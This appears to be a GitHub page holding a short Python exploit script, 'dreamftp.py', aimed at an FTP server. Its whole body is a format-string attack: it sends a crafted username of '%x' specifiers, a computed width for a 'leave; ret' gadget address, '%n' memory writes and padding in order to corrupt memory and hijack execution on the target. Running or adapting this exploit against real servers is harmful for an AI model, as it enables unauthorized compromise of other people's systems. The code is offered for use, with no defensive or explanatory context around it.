-
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathdreamftp.py
42 lines (33 loc) · 790 Bytes
/
dreamftp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python
from struct import pack
import socket
import time
import sys
from ftplib import FTP
server = sys.argv[1] # IP
port = 21 # PORT
def ftp_login(user, password):
try:
ftp = FTP(server, user=user, passwd=password)
ftp.login()
except Exception as e:
print(str(e))
def main():
user = "%x"*8
'''
nasm > leave
00000000 C9 leave
nasm > retn 0xc33
00000000 C2330C ret 0xc33
'''
address = 204718793 - 64 # 0xc9c2330c = leave; ret 0xc33
user += (("%"+str(address)+"d")) # 9th
user += "%n" # 10
user += "%n"
user += "A" * (51+17+3)
user += "BBBB"
user += "C"*(27-3-4)
user += "D"*300
ftp_login(user, "password")
if __name__ == "__main__":
main()